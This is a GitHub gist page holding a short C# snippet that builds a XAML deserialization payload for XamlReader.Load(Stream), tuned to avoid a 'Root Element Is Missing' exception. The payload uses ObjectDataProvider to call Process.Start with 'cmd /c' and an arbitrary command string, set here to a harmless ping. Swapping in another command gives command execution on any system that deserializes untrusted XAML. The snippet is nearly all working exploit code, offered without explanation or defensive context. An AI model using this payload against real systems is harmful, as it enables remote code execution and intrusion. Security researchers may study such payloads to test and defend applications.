Skip to content

Instantly share code, notes, and snippets.

@Meatballs1
Created November 4, 2020 11:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Meatballs1/aecd37d803998f224c36216a37f1c7af to your computer and use it in GitHub Desktop.
Save Meatballs1/aecd37d803998f224c36216a37f1c7af to your computer and use it in GitHub Desktop.
XAMLReader.Load(Stream) payload avoiding Root Element Is Missing exception
String cmd = "ping 127.0.0.1";
String payload = @"<ResourceDictionary xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:sd=""clr-namespace:System.Diagnostics;assembly=System"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""><ObjectDataProvider ObjectType=""sd:Process"" MethodName=""Start"" x:Key=""LaunchCalc""><ObjectDataProvider.MethodParameters><System:String>cmd</System:String><System:String>/c """ + cmd + @"""</System:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>";
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment